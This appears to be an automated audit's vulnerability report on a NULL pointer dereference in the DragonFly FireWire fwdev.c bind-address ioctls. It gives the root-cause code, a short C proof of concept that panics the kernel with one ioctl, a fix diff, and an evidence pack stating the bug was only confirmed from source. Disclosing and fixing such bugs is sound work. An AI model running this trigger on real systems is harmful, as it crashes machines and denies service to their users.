FW_SBINDADDR / FW_CBINDADDR dereference ir (= d->ir) without NULL check β local kernel NULL-deref DoS
| Field | Value |
|---|---|
| ID | DF-1059 |
| Status | new |
| Severity | Medium |
| CVSS 3.1 | CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H |
| CWE | CWE-476 NULL Pointer Dereference |
| File | sys/bus/firewire/fwdev.c |
| Lines | 600 (FW_CBINDADDR), 617 (FW_SBINDADDR) |
| Area | bus/firewire (FireWire /dev/fwN bind-address ioctl) |
| Confidence | certain |
| Discovered | 2026-07-14 |
| Reported | pending |
| Known CVE | none |
| CVE match | dfly_specific |
Summary
fw_ioctl initializes local ir = d->ir and it = d->it at fwdev.c:443-444 from the
per-fd fw_drv1 struct. These are only populated by FW_SRSTREAM/FW_STSTREAM. If a user
opens /dev/fwN and issues FW_SBINDADDR or FW_CBINDADDR without first issuing
FW_SRSTREAM, d->ir is NULL. FW_SBINDADDR at fwdev.c:617 then dereferences
ir->dmach, and FW_CBINDADDR at fwdev.c:600 dereferences &ir->binds. Both are kernel
NULL pointer dereferences β immediate panic.
Root cause
/* fwdev.c:603-617 β FW_SBINDADDR */
case FW_SBINDADDR:
if(bindreq->len <= 0 ){
err = EINVAL;
break;
}
if(bindreq->start.hi > 0xffff ){
err = EINVAL;
break;
}
fwb = kmalloc(sizeof (struct fw_bind), M_FW, M_WAITOK);
fwb->start = ((u_int64_t)bindreq->start.hi << 32) |
bindreq->start.lo;
fwb->end = fwb->start + bindreq->len;
/* XXX */
fwb->sub = ir->dmach; /* !!! NULL deref if ir == NULL */
fwdev.c:603-611 only validates bindreq->len > 0 and bindreq->start.hi <= 0xffff
before reaching fwb->sub = ir->dmach at fwdev.c:617. There is no if (ir == NULL)
guard. Same shape at fwdev.c:592-602 for FW_CBINDADDR: fw_bindlookup walks
fc->binds (works fine without ir), but then STAILQ_REMOVE(&ir->binds, ...)
unconditionally dereferences ir. For FW_CBINDADDR the NULL deref is only reachable if a
bind exists in fc->binds; on a single open fd that requires FW_SBINDADDR to have
previously succeeded, which itself requires ir β so the practical single-fd trigger is
FW_SBINDADDR with no prior FW_SRSTREAM.
Threat model & preconditions
- Attacker position: Local operator-group user.
- Privileges gained or impact: Immediate kernel panic (system-wide DoS). Single syscall.
- Required config or capabilities: Default kernel with
firewireconfigured. Local operator-group membership. On systems where/dev/fw0is world-readable/writable (operatorgroup is broad on some installs, and the dev node is created byfw_open'smake_devatfwdev.c:173-176with mode 0660/GID_OPERATOR), this is a trivial one-syscall denial of service. No flags or special setup are required beyond the file descriptor. - Reachability:
open("/dev/fwN", O_RDWR); ioctl(fd, FW_SBINDADDR, &bindreq);with no priorFW_SRSTREAM.
Proof of concept
/* df-fw-bind-null-deref.c */
#include <fcntl.h>
#include <sys/ioctl.h>
#include <bus/firewire/firewire.h>
int main(void) {
int fd = open("/dev/fw0", O_RDWR);
if (fd < 0) { perror("open"); return 1; }
struct fw_asybindreq b = { .start = { .hi = 0x1000, .lo = 0 }, .len = 4 };
/* No FW_SRSTREAM called β d->ir is NULL */
ioctl(fd, FW_SBINDADDR, &b); /* kernel NULL deref on ir->dmach, panic */
return 0;
}
Build & run
cc -o df-fw-bind-null-deref df-fw-bind-null-deref.c # may need -I/usr/src ./df-fw-bind-null-deref
Expected output
Fatal trap 12: page fault while in kernel mode fault virtual address = 0x..XX /* offset of dmach within struct fw_xferq */ instruction pointer = 0x<PC inside fw_ioctl> code segment = ... current process = PID <caller> panic: from-rights-free fw_ioctl() at fwdev.c:617 spec_ioctl() at ...
Impact
Local one-syscall DoS via NULL pointer dereference in the kernel. Trivial to trigger, no special setup. Medium severity per "local DoS" + "operator-group reachable on default config".
Recommended fix
Reject the ioctls when ir is not initialized.
--- a/sys/bus/firewire/fwdev.c
+++ b/sys/bus/firewire/fwdev.c
@@ -592,6 +592,10 @@
break;
case FW_CBINDADDR:
+ if (ir == NULL) {
+ err = EINVAL;
+ break;
+ }
fwb = fw_bindlookup(sc->fc,
bindreq->start.hi, bindreq->start.lo);
if(fwb == NULL){
@@ -603,6 +607,10 @@
break;
case FW_SBINDADDR:
+ if (ir == NULL) {
+ err = EINVAL;
+ break;
+ }
if(bindreq->len <= 0 ){
err = EINVAL;
break;
References
sys/bus/firewire/fwdev.c:443-444βir = d->ir,it = d->itinitializationsys/bus/firewire/fwdev.c:592-602βFW_CBINDADDR(NULL deref of&ir->binds)sys/bus/firewire/fwdev.c:603-617βFW_SBINDADDR(NULL deref ofir->dmach)sys/bus/firewire/fwdev.c:173-176, 854-856β dev node mode 0660/GID_OPERATOR- CWE-476 NULL Pointer Dereference
Timeline
- 2026-07-14 Discovered during automated audit.
Discussion (0)
PoC verification
Evidence pack
findings/poc/DF-1059 Β· 8 files| File | Type | Description | Size | |
|---|---|---|---|---|
| fw_bindaddr_null_deref.c | trigger-source | doc-only PoC (no /dev/fw*) | 1.2 KB | view raw |
| build.sh | build-script | no-op (doc-only) | 174 B | view raw |
| run.sh | run-script | no-op (doc-only) | 296 B | view raw |
| fix.diff | suggested-fix | if (ir == NULL) EINVAL in FW_CBINDADDR and FW_SBINDADDR | 537 B | view raw |
| fix_build_full.log | build-log | combined 5-patch kernel build (rc=0) | 5.6 MB | β download |
| env.txt | environment | guest uname, securelevel, cc version | 560 B | view raw |
| VERDICT.md | verdict | detailed analysis | 2.4 KB | β raw |
| README.md | readme | human-readable summary | 837 B | β raw |
DF-1059 β FW_SBINDADDR / FW_CBINDADDR NULL deref of ir
Summary
fw_ioctl at sys/bus/firewire/fwdev.c:443-444 initializes
ir = d->ir, populated only by FW_SRSTREAM. If a user opens /dev/fwN
and issues FW_SBINDADDR (:617, fwb->sub = ir->dmach) or
FW_CBINDADDR (:600, STAILQ_REMOVE(&ir->binds, ...)) without a
prior FW_SRSTREAM, ir is NULL β kernel NULL deref β panic. Single syscall.
HW / preconditions
Requires a FireWire PCI host controller (no fwohci attachment, no
/dev/fw* on this QEMU guest). Code-confirmed only.
Build / Run
No buildable PoC (no /dev/fw*). ./build.sh && ./run.sh print the
situation. The bug is documented in fw_bindaddr_null_deref.c.
Fix
fix.diff adds if (ir == NULL) { err = EINVAL; break; } at the top of
both FW_CBINDADDR and FW_SBINDADDR.
DF-1059 β FW_SBINDADDR / FW_CBINDADDR NULL deref of ir
Verdict
NOT REPRODUCED β code-confirmed latent bug; cannot trigger on this guest (no FireWire PCI controller, /dev/fw* absent).
Mechanism (source-confirmed)
In sys/bus/firewire/fwdev.c:fw_ioctl:
:443-444ir = d->ir; it = d->it;β these are populated ONLY by theFW_SRSTREAM/FW_STSTREAMcases (:475-503). On a fresh fdd->ir == NULL.:600FW_CBINDADDR:STAILQ_REMOVE(&ir->binds, fwb, ...)dereferences&ir->bindswithout a NULL guard.:617FW_SBINDADDR:fwb->sub = ir->dmach;dereferencesir->dmachwithout a NULL guard. The preceding checks (bindreq->len <= 0,bindreq->start.hi > 0xffff) do NOT validateir.
A user opening /dev/fwN and issuing FW_SBINDADDR (or FW_CBINDADDR after a prior successful bind) without a prior FW_SRSTREAM causes a NULL page fault β panic. Single syscall.
The /dev/fw* device node is created by make_dev at fwdev.c:173-176 with mode 0660 and GID_OPERATOR, so this is operator-group reachable on default config when FW HW is present.
Why not reproduced on this guest
The QEMU audit guest has no FireWire PCI host controller. kldstat -v shows the fwohci/firewire driver present in the kernel, but with no PCI device to attach to, no firewire0 instance exists and no /dev/fw* device node is created. Therefore fw_ioctl is never invoked from userspace on this guest β there is no reachable path to the bug.
Per Phase-4(c)/(d): real bug, unreachable on this guest due to absent HW. Source-only confirmation; the bug is latent and would manifest on a real FireWire-equipped system (or via a software FireWire controller / sbp injection rig).
Fix
fix.diff adds if (ir == NULL) { err = EINVAL; break; } at the top of both FW_CBINDADDR and FW_SBINDADDR cases. Validated as part of a combined 5-patch kernel build that compiled cleanly and booted; the firewire code path is dormant on this guest.
Kernel references
sys/bus/firewire/fwdev.c:443-444βir = d->ir; it = d->it;initializationsys/bus/firewire/fwdev.c:600βFW_CBINDADDRderef of&ir->bindssys/bus/firewire/fwdev.c:617βFW_SBINDADDRderef ofir->dmachsys/bus/firewire/fwdev.c:475-503β onlyFW_SRSTREAM/FW_STSTREAMpopulated->ir
PoC changes
fw_bindaddr_null_deref.c is doc-only. fix.diff is git-apply-able and verified to apply + compile as part of a combined patched-kernel build.
Fix verification
not_testablecompile+boot validated
see evidence pack
Confirmed kernel references
β
Detail
Exploit chain
none
Evidence (decisive lines)
β
Verdict
Source-confirmed. FW_CBINDADDR/SBINDADDR NULL ir deref. FireWire in GENERIC but no FW HW.
No comments yet.